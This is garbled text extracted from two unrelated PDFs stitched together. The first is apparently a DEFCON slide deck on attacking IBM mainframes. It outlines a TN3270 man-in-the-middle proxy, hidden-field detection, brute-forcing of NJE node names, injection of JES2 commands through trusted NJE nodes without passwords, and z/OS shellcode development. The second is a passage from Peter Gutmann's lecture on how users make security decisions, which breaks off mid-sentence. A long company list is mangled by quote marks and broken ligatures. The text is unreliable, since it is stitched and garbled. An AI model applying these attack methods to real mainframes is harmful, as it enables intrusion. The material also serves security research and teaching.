Total"Systems"S"University"of"California"at"Berkeley,"CA"S"DEVK"Köln"S"HewleI"Packard"S"M&T"Bank"S"University"of"Chicago"Chicago"IL"USA"S"FreddieMac"S"RHB"bank"S" Commonwealth"Automobile"Reinsurers"S"Ecolab,"Inc"S"Montreal"S"Ford"S"HPS4"S"Bic"Banco"S"Bank"Vontobel"S"Time"Customer"Service"S"Phoenix"Companies"S"Alcatel"S" Turner"BroadcasBng"TBS"S"Motor"Vehicles"Admin"S"Avon"Brasil"S"IBM"S"GwinneI"County"School"District"S"SunGard"S"CSC"S"WIPRO"(exSInfoCrossing)"USA"Outsourcing"S" Strate"(www.Strate.co.za)"S"Pioneer"Life"Insurance"S"Rite"Aid"S"GwinneI"Medical"Center"S"GMAC"SmartCash"S"BNP"Paribas"Paris"France"S"Lender"Processing"Services" (LPS)"S"Bank"Rakyat"Indonesia"(BRI)"S"Nike"INC"S"Tampa"General"S"CPS"S"PCCW"S"ADP"S"Wellmark"S"Blue"Cross"Blue"Shield"SC"S"RBSLynk"S"Ameriprise"(American"Express" Financial" Advisors)" S" Chubb" S" MASCON" S" SAS" InsBtute" NC" USA" S" Thomson" FinancialSTransacBon" Services" S" Washington" State" Employment" Security" Department" S" AliComp"www.alicomp.com"S"AAFES"S"Merlin"InternaBonal"S"Veteran"Affairs"S"Donovan"Data"Systems"(ManhaIan)"S"Avon"(Westchester)"S"Sloan"KeIering"(Bronx)"S" Shands"HealthCare"S"Wellpoint"S"MFX"Fairfax"Morristown"NJ"USA"KLCameron"Outsourcing"S"Virginia"Department"of"Motor"Vehicles"S"ONCOR"Dallas"TX"USA"S"DST" Output"S"NaBon"Wide"Insurance"S"Riyad"Bank"S"Bank"Central"Asia"(BCA)"S"Eddie"Bauer"S"ScienBfic"Games"InternaBonal,"Inc"S"Commerzbank"S"Lousiana"Housing"Fin"Ag"/" Baton"Rouge"CC"S"Broward"County"Schools"S"Verizon"(Wireless)"S"Master"Card"INC"S"Connecture"S"Atos"Origin"S"L&T"S"Capco"S"Accenture"S"Georgia"State"Dept"of" EducaBon"S"Cathy"Pacific"S"GE"Financial"Assurance"S"ING"S"Fidelity"Investments"Boston"MA"&"New"York"S"PATNI"S"Maersk"Lines"(Global"Container"Shipping),"S"TCS"S"BriBsh" Airways"S"GAVI"S"CVS"pharmacy"S"First"NaBonal"Bank"S"LabCorp"S"Klein"Mgt."Systems"(Westchester)"S"H."E."BuI"Grocery"Co."S"Duke"Energy"S"Vanguard"Group"S"Kaiser" Permanente"Corona"CA"USA"S"State"Auto"Insurance"S"BiSLo"S"MARTA"S"EDS"S"DHL"IT"Services"S"Charles"Schwab"S"CPU"Service"S"Virginia"Dept"of"CorrecBons"S"Cielo"S" Business"Connexion"(www.bcx.co.za)"S"Lockheed"S"Fiat"S"Symetra"S"CiB"S"Collabera"S"Bank"of"America"(was"NaBons"Bank"–"Can"work"out"of"AlphareIa"office)"S"FIS"S"State" of"Montana"S"Accenture"S"PWC"S"State"of"GA"S"DHS"S"Bank"Indonesia"(BI)"S"Publix"S"Porto"Seguro"S"General"Motors"Detroit"AusBn"Atlanta"Phoenix"S"CPQD"S"BB&T"S" Partsearch"Technologies"S"ISO"(Jersey"City)"S"HMS"S"Depository"Trust"and"Clearing"Corp"S"VISA"Inc."S"EDB"ErgoGroup"S"US"Bank"S"Federal"Reserve"S"CoSoperators"Canada"S" OCIT","Sacramento"Cty"S"Progressive"Insurance"S"ZETO"S"MetaVante"(Now"Fidelity)"S"Ford"Motor"Co"S"University"System"of"Georgia"S"California"Casualty"Management" Company,"San"Mateo"and"Sacramento,"CA"S"PSP"S"Thomson"Reuters"S"RBS"(Royal"Bank"of"Scotland)"S"Aurum/BSPR"S"Social"Security"S"GKVI"S"Kohls"Department"Stores"S" FIS"S"New"York"Times"(ManhaIan)"S"CIGNA"S"SunGard"Computer"Services"Voorhees"NJ"S"Florida"Power"&"Light"(FPL)"Juno"Beach"FL"USA"UBlity"S"Fiserv"(formerly"Check" Free)" S" H&W" Computer" Systems," Inc." S" CA" Technologies" S" Treehouse" Sobware," Inc." hIp://www.treehouse.com" S" Ohio" Public" Employees" ReBrement" System" S" Montefiore"Hospital"(Bronx)"S"Air"New"Zealand"S"KEANE"S"Blue"Cross/Blue"Shield"of"Texas"S"CoIon"States"Mutual"Ins"Company"S"PKO"BP"Warszawa,"Poland"S"S"Insurance" Services"Office"S"CiBgroup"S"Liberty"Life"S"Thomson"Reuters"S"Royal"Bank"of"Canada"(RBC)"S"M&T"Bank"S"Medstar"Health"hIp://www.medstarhealth.org"S"Infosys"S" Maersk"Data"(Global"LogisBcs/Shipment"Tracking)"S"Missouri"Gas"Energy"Kansas"City"MO"USA"KLCameron"UBlity"S"Choice"Point"S"Express"Scripts"S"VETTRI"S"Wellogic"S" Arby’s"–"Wendy’s"Group"S"Bacen"www.bcb.gov.br"S"BNP"Paribas"ForBs"Brussels"Belgium"S"Alcan"Global"ATI"S"C&S"Wholesale"Grocers"S"United"States"Postal"Service"S" mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Princeton"ReBrement"Group"Inc"S"POLARIS"S"Georgia"Farm"Bureau"Mutual"S"MBT"S"May"bank"S"BMW"S"AIG"S"EDEKA"S"Delloits"S"Iflex"S"Bank"of"Tokyo"(Jersey"City)"S" Crawford"and"Company"S"Meredith"Corp"S"Express"Scripts"S"Home"Depot"U.S.A.,"Inc."S"Broadridge"Financial"Services"S"NMBSSHolding"hIp://www.nmbsSholding.be"S" PrudenBal"S"KPN"S"Bank"of"Montreal"(BMO:CN)"S"Montreal"S"Union"Bank"S"R+V"S"AlcatelSLucent"S"DATEV"eG"S"Delta"Air"Lines"Inc"S"Pershing"LLC"S"Physicians"Mutual" Insurance"Company"(PMIC)"Omaha"NE"USA"KLCameron"Insurance"S"Morgan"Stanley"(Brooklyn)"S"ScoBabank"S"CSI"InternaBonal"OH"USA"Jon"Henderson,"COO"S"Coca"Cola" Enterprises"S"Amadeus"Data"Processing"S"Zions"BancorporaBon"S"Ciber"S"GwinneI"County"S"VW"S"Banco"Bradesco"S"Target"INC"S"Copel"S"Blue"Cross"Blue"Shield"AL"S"LDS"S" IPACS"S"ZETO"S"Office"Depot"Deerfield"&"DelRay"S"Air"France"S"Capital"One"S"Glen"Allen/West"Creek"S"Emigrant"Savings"Bank"S"Consist"S"Siemens"S"JPMorgan"Chase"S" Banco"Davivienda"S"QBE"the"Americas"S"Lubhansa"Systems"S"Metlife"S"United"States"Postal"Service"—"Mainframe"Ops"S"Tata"Steel"S"Franklin"Templeton"S"United"Parcel" Service"Inc"(UPS)"S"Nest"S"Kawasaki"Motors"Corp"S"AT&T"/"BellSouth"/"Cingular"S"HSBC"GLT"S"Medical"Mutual"of"Ohio"Cleveland"OH"USA"CooperMA"S"TSSystem"S"NYS"Dept" of"Tax"and"Fin"S"HealthPlan"Services"S"OFD"S"State"of"California"Teale"Data"Center,"Rancho"Cordova,"CA"S"CEF"S"Delphi"S"Tivit"hIp://www.Bvit.com.br"S"Igate"Hyderabad" India"Sivaprasad"Vura"S"Atlanta"Journal"ConsBtuBon"S"ManhaIan"Associates"S"Helsana"S"MHS"S"FannieMae"S"S1"S"HDFC"Bank"S"Great"Lakes"Higher"EducaBon"Corp."S" Norfork"Southern"Railway"S"SCHLUMBERGER"Sema"S"United"Health"Group"(UHG)"S"Union"Pacific"Omaha"NE"USA"KLCameron"TransportaBon"S"Outsourcing"deTecnica" deSistemas"S"Hardware"S"CSX"S"Deutsche"Bundesbank"S"TD"Canada"Trust"S"Computer"Sciences"CorporaBon"(CSC)"S"Highmark"S"Rubbermaid"S"IGS"S"Edward"Jones"St."Louis" MO"Tempe"AZ"USA"S"Ministry"of"Interior"(NIC)"S"IBM"S"ScoI"Trade"S"EMC"S"Bank"InternaBonal"Indonesia"(BII)"S"CIC"S"Parker"Hannifin"Cleveland"Ohio"USA"Cooperma"S" Paccar"S"Deutsche"Bundesbank"S"Deutsche"Bank"S"Global"SMS"Networks"Pvt."Ltd."("GLOBALSMSC")"S"Chase"S"Genuine"Auto"Parts"("MoBon"Industries)"S"Hexaware"S" Virginia" State" Corp," Commission" S" Customs" &" Border" Enforcement" (CBE)" S" Protech" Training" [hIp://www.protechtraining.com]" Training," ConsulBng" &" Sobware" PiIsburgh" PA" USA" S" NBNZ" S" ING" NA" Insurance" Corp" S" IBM" Tucson," Arizona" Sobware" Development" Laboratory" (DFSMShsm," Copy" Services)" S" AtlanBc" Pacific" Tea" Company"(A&P)"S"CTS"S"AMB"Generali"S"WIPRO"S"State"of"Florida"S"Northwest"Regional"Data"Center"S"Brotherhood"Bank"&"Trust"S"Walmart"S"VW"S"MINDTEK"S"Philip" Morris"S"InterconBnental"Hotels"Group"S"Dekalb"County"S"Allstate"S"UBca"Insurance"UBca"NY"USA"Insurance"–"Emirates"S"Assurance"S"New"York"University"S"Primerica" Life"Ins"Co"S"Krasdale"Foods,"Inc."S"Prokarma"Hyderabad"India"Sivaprasad"Vura"S"North"Carolina"State"Employees'"Credit"Union"S"Commerce"Bank"Kansas"City"MO"USA"S" First"Data"S"UPS"(Paramus,"NJ)"S"Credit"Suisse"S"State"of"Illinois"S"Central"Management"Services"(CMS)"S"Springfield,"IL"S"Penn"Mutual"S"United"States"Postal"Service"—" Mgmt"Ops"S"MASTEK"S"LBBW"(Landesbank"Baden"WuerIemberg)"S"DIGITAL"S"CiB"S"ELCOT"S"Wakefern"Food"Corp"S"BI"Moyle"Associates,"Inc."S"Steria"S"Acuity"LighBng" Group"Inc.."S"HMC"Holdings"(ManhaIan)"S"ANZ"Bank"S"Banco"do"Brasil"S"Allianz"Assurancies"S"DATEV"eG"S"Puget"Sound"Energy"(SeaIle)"S"Charles"Schwab"S"Serasa" Experian"S"TECO"S"WinnSDixie"S"BelasBngdienst"S"Lubhansa"Systems"S"GAP"Inc"S"HCL"S"Chemical"Abstract"Services"(CAS)"S"ProdeSP"S"United"States"Postal"Service"S"DB2" DBA"Ops"S"Assurant"S"Prodam"SP"S"Bank"Nasional"Indonesia"(BNI46)"S"Norfolk"Southern"Corp"S"AON"HewiI"S"ITERGO"S"Aegon"S"State"of"Georgia"S"Trinity"Health"S"AIG"S" PNC"Bank"PiIsburgh"PA"USA"S"Washington"State"Department"of"Social"and"Health"Services"S"Credit"Suisse"S"Aviva"S"ELIT"S"FINA"S"Finanz"InformaBk"S"Jackson"NaBonal"S" BMC"Sobware"S"Group"Health"CooperaBve"S"Media"Ocean"(office"here,"HQ"most"likely"New"York)"S"Grady"Hospital"S"Ameritech"S"Allianz"Assurancies"S"HewleISPackard"S" Merrill"Lynch"(now"BOA)"S"Miami"Dade"County"S"IBM"Silicon"Valley"Laboratory,"San"Jose,"CA"(home"of"DFSMS,"DB2,"IMS,"languages)"S"RedeCard"S"ConnecBcut,"State"of" (various"Departments"including"TransportaBon,"Public"Safety,"and"InformaBon"Technologies)"S"UBS"APAC"(Union"Bank"of"Switzerland)"S"ZETO"S"WGV"S"Conseco"S" Atlanta"Housing"Authority"S"NaBonal"Life"Ins."Co."S"CollecBve"Brands"S"SAS"S"FIS"S"TD"Ameritrade"S"Navistar"S"LDS"S"Target"India"S"Dominion"Power/Dominion"Resources"S" Glen"Allen/Innsbrook"S"US"Sobware"S"Voith"S"Thrivent"S"LBBW"(Landesbank"Baden"WuerIemberg)"S"State"of"Alabama"S"Bank"of"America"(BAC)"S"Ford"S"SATHYAM/PCS"S" Fiducia"S"Amadeus"Data"Processing"S"State"of"AZ"S"ADOT"S"IBM"India"S"Florida"Power"&"Light"S"PSA"Peugeot"Citroen"S"Mphasis"S"ADP,"Inc."S"City"of"Tulsa"S"Energy"Future" Holdings"Dallas"Tx"USA"S"CGI"S"Boston"Univerity"S"University"of"NC"S"Atos"Origin"S"Key"Bank"S"AFLAC"S"IBM"Global"Services"S"YRCW"S"Lincoln"NaBonal"S"Sobware"Paradigms" India"S"logica"CMG"S"Fujitsu"America"Dallas"TX"KLCameron"Outsourcing"S"Southern"California"Edison"S"CEF"S"Mt."Sinai"(Bronx)"S"Blue"Cross"Blue"Shield"S"HSBC"Trinkaus"&" Burkhardt"AG"S"Mainline"InformaBon"Systems"S"Schneider"NaBonal"Green"Bay"WI"USA"KLCameron"TransportaBon"S"Publix"S"John"Dere"S"PSC"Electrical"ContracBng"S" Family"Life"Ins."Co."S"DTC"(ManhaIan)"S"Eaton"Cleveland"Ohio"USA"Cooper"MA"S"Russell"Stovers"S"AEP"S"Alcatel"S"Axa"(Jersey"City)"S"ACS"(Texas)"S"Mutual"of"America"S" Liberty" Mutual" (Safeco" Insurance)" S" Medicare" S" Statens" UddannelsesstøIe" S" Lowe's" S" Bank" Of" America" S" TUI" S" IVV" S" Aetna" S" Sanepar" S" Sentry" Insurance" S" Fiserv" IntegraSys" S" State" of" ConnecBcut" (various" Departments" including" Public" Safety," TransportaBon," InformaBon" Technologies)" S" Bovespa" S" City" of" New" York" (Several" locaBons)"S"Con"Edison"(ManhaIan)"S"City"of"Atlanta"S"GM"S"UBS"S"Krakatau"Steel"Cilegon"Indonesia"S"ITERGO"S"Blue"Cross"Blue"Shield"GA"S"Scope"InternaBonal(Standard" Chatered)"S"Rutgers"University"S"Office"of"IT"S"GM"S"Santander"S"State"of"Alaska"S"AIG"Global"Services"S"Atos"Origin"S"CA"Technologies"S"Garuda"Indonesia"Jakarta" Indonesia"Gun"gun"S"Leumi"Bank"Leumi"Bank"TelSAviv"ISrael,"Shai"Perry"S"Cognizant"Technology"SoluBons"S"Barclays"bank"S"Heartland"Payment"Systems"(Texas)"S"Xerox"S" State"of"GA"S"DOL"S"SYNTEL"S"Canadian"Imperial"Bank"of"Commerce"(CIBC)"S"Friedkin"InformaBon"Technology"Houston"TX"USA"S"NASDAQ"Stock"Market"S"Mahindra" Satyam"S"CocaSCola"Co"S"SIAC"(Brooklyn)"S"Sears"Holdings"CorporaBon"S"Finanz"InformaBk"S"Fiducia"S"Metro"North"(ManhaIan)"S"FedEx"S"KEONICS"S"Ahold"S"NY"City," Various"Agencies"S"IBM"S"CA"Technologies"S"Principal"Financial"Group"S"Georgia"Pacific"S"Governor's"Office"S"Kansas"City"Life"S"Old"Mutual"S"Catapiller"S"Amtrak"S"CTS"S"City" and"County"of"Alameda,"California"S"Ceridian"S"DPF"S"USAA"S"Traveler's"Insurance"S"Roundy's"Supermarkets"Milwaukee"WI"USA"S"Lexis"Nexis"(formerly"ChoicePoint"Inc)"S" MarrioI"Hotel"S"United"States"Postal"Service"Applic."Dev."S"XANSA"S"Auto"Zone"S"EDS"S"Manulife"S"State"of"GA"S"GTA"S"Washington"State"Department"of"TransportaBon" mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Two Parts •  First Half: Networking – Network Job Entry – TN3270 protocol fun! •  Second Half: Exploit Development – How to write exploits – Program debugging – Shellcode development – First z/OS Shellcode mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Butt first You need a quick refresher on what this looks like this: mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Networking mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential TN3270 •  Imagine a world where telnet still exists •  Imagine no MORE! mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential TN3270 •  Imagine a world where telnet still exists •  Imagine no MORE! •  Basically like BBS’s back in the day •  Uses a ‘stream’ mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Field Attributes • Screen is 1920 bytes long • Each byte could be a field attribute identifying: " Color " Locked/Unlocked (Protected) " Visible/Invisible (Hidden) mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Locked Field Length USERPG01) mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Identifyin’ • No support in nmap/other tools • Hard to identify screens – Without getting an emulator • What about Hidden Fields? • Or Protected Values? mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Until NOW! mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential NEW! •  TN3270 Library for NMAP •  Emulates a ‘real’ 3270 screen •  Allows you to: – Connect – Show the screen – Send commands – Detect hidden fields! mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Samesies VTAM Application IDs VTAM Macros mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential !" !" Hidden Fields! mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential But Wait! There’s more! I wrote one in LUA why not Python? mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential tn3270lib •  Support tn3270 (not E) •  Creates a tn3270 object •  Allows for sending commands •  Blah blah blah same as nmap BUT NOW IT MEANS I CAN INTRODUCE: mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential 3 modes •  Proxy/Passthrough – MitM •  Mirror a targetted mainframe – Connects, scrapes the screen, then shares that screen on your machine – Takes commands you might expect your target to send and pregrabs those screens as well •  No args: TSO logon screen mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential SET’n’3270 •  Supports SSL Which is cool cause clients don’t check certs (like, at all, no warning no nothing) mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential More Tools •  Big Iron Recon and Pwnage – By Dominic White! – https://github.com/sensepost/birp •  Mainframe Brute – Slower but prolly more reliable – https://github.com/sensepost/mainframe_brute mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Network Job Entry mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Jobs (not steve) • JCL (Job Control Language) • Run by “JES” • Made up of – STEPS – ProGraMs – etc mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Network Job Entry • Also known as NJE • Runs on ports 175, 2252 (SSL) • Developed in the 80s (??) mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Works like this mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Initial Setup •  Systems configure JES telling them: – Where to connect – Who they will accept connections from How? mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Number of Nodes Our Node Name Other nodes ‘WASHDC’ IP Address mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Connect From: Network Job Entry (NJE) Formats and Protocols (SA32-0988-00) “OPEN” Connect TCPIP “ACK” mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Once established •  You can send JCL •  You can send NMR (command/control records) •  You are now a ‘trusted’ node – Depending on your security, of course mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Interesting ‘feature’ •  Users from one node don’t need to log on •  When a job is sent, the userID is sent along with the ‘NJE’ job •  So long as that account exists on the receiving side it will work. mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential NO Password Note: no password or any authentication information is sent. Nodes are TRUSTED and therefore no need to re-authenticate. mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Breaking NJE •  First we need to find mainframes with NJE •  Problem: nmap mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential NJE Node Names •  You need this. •  No, you NEED it. •  You can’t connect otherwise NMAP Script: NJE Node Brute •  Brute forces node names (even if the node is connected!) mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential NJE is super awesome •  Like we said before: You need three things: – Node Name of your target – Node name you want to pretend to be – IP Address of your target With these you can inject JES2 commands with: mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential iNJEctor.py mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Books from the Past! •  A lot of our research is from really old books •  Like, really old •  Older than some of you here today: mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Exploit Development mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Architecture •  23,31,64 bit modes – 3 sets of registers (16 ea) – Big Endian – Von Neumann Architecture – Stack-based (sorta) •  Virtual Address Spaces •  Program Status Word (PSW) •  Z/OS, USS, Z/Linux, Z/VM mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential DC in a box JAVA" LINUX" CLOUD" WEB" MOBILE" WEBSPHERE" C" C++" ASM" PL/I" COBOL" DB2" JAVASCRIPT" MQ" HTTP" AND"MORE!" UNIX" mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Where to start •  Focus on what you know •  Unix System Services •  Why? Cause C and Assembler – Narrowed down to: •  Buffer Overflow POC •  Format String Exploit POC •  Learn testing environment •  Shell code development and deployment mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Setup" Memory" Args"and" Execute" Cleanup"&" Exit" mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Useful example •  Execute local shell – Useful for Privilege Escalation •  Steps – Build working C or HLASM – Convert to machine code – Once working, “shellcode-ize” •  Remove bad chars or encode – Test with C buffer stub program mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential What’s Next? •  MSF Integration? •  Native Exploits •  Java / Web exploits •  Privilege Escalation •  Continued Tool development / Porting – Generic shellcode building – Fuzzi mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Thanks •  DEFCON for letting us talk about this •  IBM for this cool platform and online books •  Huge Mega Corps for neglecting this platform •  Dominic White for his tools •  Swedish underground community •  X3270 authors mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Contact •  Phil - “Soldier of Fortran” @mainframed767 mainframed767@gmail.com Soldieroffortran.org •  Chad – “Big Endian Smalls” @bigendiansmalls mainframe@bigendiansmalls.com Bigendiansmalls.com
pdf
The Psychology of Computer Insecurity Peter Gutmann University of Auckland Why can’t users get security right? Users are idiots • Developers build security applications • Users apply them incorrectly • Users are idiots • QED Why can’t users get security right? OK, so users are irrational Definition: “Rational” • How geeks wish that users would behave Definition : “Irrational” • ¬ ( How geeks wish that users would behave ) Users are “irrational” simply because they don’t behave in the manner arbitrarily tagged “rational” that’s defined as “How users should be using my software, dammit!” • This type of “rational” behaviour does sometimes exist… in people with psychiatric disorders • (Later slides will go into this in more detail) Why can’t users get security right? (ctd) The field of psychology provides a great deal of insight into how people deal with security, but this resource is rarely used The heavenly laws of logic and probability rule the realm of sound reasoning: psychology is assumed to be irrelevant. Only if mistakes are made are psychologists called in to explain how wrong-wired human minds deviate from these laws […] Many textbooks present first the laws of logic and probability as the standard by which to measure human thinking, then data about how people actually think. The discrepancy between the two makes people appear to be irrational — Gerd Gigerenzer, “Adaptive Thinking: Rationality in the Real World” How Users Make Decisions Economic decision-making model (Bayesian decision- making-model) is based on standard economic thinking • Goes back to (at least) John von Neumann’s work on game theory in the 1940s Assumes that people always know what they want and will choose the optimal course for getting it [This model] took its marching orders from standard American economics, which assumes that people always know what they want and choose the optimal course of action for getting it — Baruch Fischhoff, “Decision making in complex systems” How Users Make Decisions (ctd) The formalisation of this model, Subjective Expected Utility (SEU) theory, makes the following assumptions about the decision-making process 1. The decision-maker has a utility function that allows them to rank their preferences based on future outcomes 2. The decision-maker has a full and detailed overview of all possible alternative strategies 3. The decision-maker can estimate the probability of occurrence of outcomes for each alternative strategy 4. The decision-maker will choose between alternatives based on their subjective expected utility How Users Make Decisions (ctd) To apply the SEU model, execute the following algorithm for each possible decision alternative x = all possible consequences of making a decision (which includes recursive evaluation of any carry-on effects); p(x) = quantitative probability for x; U(x) = subjective utility of each consequence; p(x) × U(x) = probability multiplied by subjective utility; SEU total = p(xi) × U(xi);   n i 0 SEU Example Certificate dialog designed for SEU-based decision making SEU Example Case study: Evaluate the possibility of a server misconfiguration SEU Example (ctd) Can evaluate this based on an evaluation in turn of • The competence of the remote system’s administrators • The chances that they’ve made an error • The chances of a software bug • … Assign probabilities and utilities to each of these • Competence of admins = 0.6 • Subjective utility = 0.85 • … SEU Example (ctd) Assign weights to other factors • Risk of credit card info being phished/misused • Risk of identity theft • … other negative outcomes … • Mitigating factors like credit card consumer protection measures • Intangible factors like the satisfaction of making a purchase – (Emotional trauma of not making a purchase if it’s someone’s birthday) (Rather lengthy and tedious, particularly since it’s an arbitrarily recursive process) SEU Example (ctd) Evaluate the sum total to get the selective expected utility for this option • Then repeat for all other possible options Finally, pick the option with the highest subjective expected utility value SEU Example (ctd) There was a tiny flaw in the plan What was that, sir? It was bollocks Fixing the SEU Model This method of decision-making requires total omniscience • This is a quality that’s generally lacking in humans OK, so we’ll patch the model by introducing the concept of stopping rules • Bail out when it’s obvious that there’s no (cost-effective) benefit to going any further Fixing the SEU Model (ctd) How do we decide when to stop? • Use the SEU model to tell us Oops • The stopping-rule patch attempts to model limited search by assuming total omniscience If stopping rules were practical, you wouldn’t be reading this but would be in Las Vegas applying the stopping rule “Stop playing just before you start losing” How Users Really Make Decisions Two approaches to determining how things really work 1. Empirical evaluation • Examine what users do in practice 2. Conceptual modelling • Take a set of conceptual models and see which one best approximates reality How Users Really Make Decisions (ctd) In the 1980s the US DoD sponsored research into improving battlefield decision-making • Found that people under pressure don’t use anything remotely like the economic decision-making model People under pressure don’t weigh up the relative merits of a set of options and choose the most optimal one • They don’t even make a choice from a cut-down subset They generate one option at a time and take the first one that works How Users Really Make Decisions (ctd) In evolutionary terms, if a lion turns up in front of a monkey, it runs up the first tree it sees rather than stopping to think about it at length • It’s better to be wrong than to be eaten Model is called the singular evaluation model • And various other things: Recognition-primed decision making, heuristic decision making, the take-the-best heuristic, … • (Shows independent reproducibility, if not consistent nomenclature) How Users Really Make Decisions (ctd) Singular evaluation is used when • The decision-maker is under pressure – Computer users being prevented from getting a job done are automatically in the “under pressure” category • The conditions are dynamic – The situation may change by the time you’ve performed a long detailed analysis • The goals are ill-defined – Most users have little grasp of the implications of security- related choices This is almost a mirror image of the SEU theoretical model! How Users Really Make Decisions (ctd) Other researchers examined the problem from a conceptual modeling angle • Which conceptual model best matches how humans make decisions under pressure? The best conceptual model to actual human behaviour was singular evaluation (under a heuristic name) • Both empirical and conceptual-modelling approaches reached the same conclusion How Users Really Make Decisions (ctd) Simple heuristics are popular because it’s very difficult to learn from feedback from complex decision-making processes • Diffusive reinforcement provides insufficient information to single out any one strategy as being particularly effective • False correlations and biased attributions of success lead to superstition-based decision support Popularity of “systems” for gambling and stock trading is because participants like to think that they’re doing something that’s better than just guessing How Users Really Make Decisions (ctd) Gambling-based decision-making relies on obvious feedback and provides instant gratification • Coin toss/die roll • Immediate feedback Security decision-making doesn’t work this way • No immediate feedback • No obvious feedback • Silent failures How Users Really Make Decisions (ctd) Result: Any action that fails to 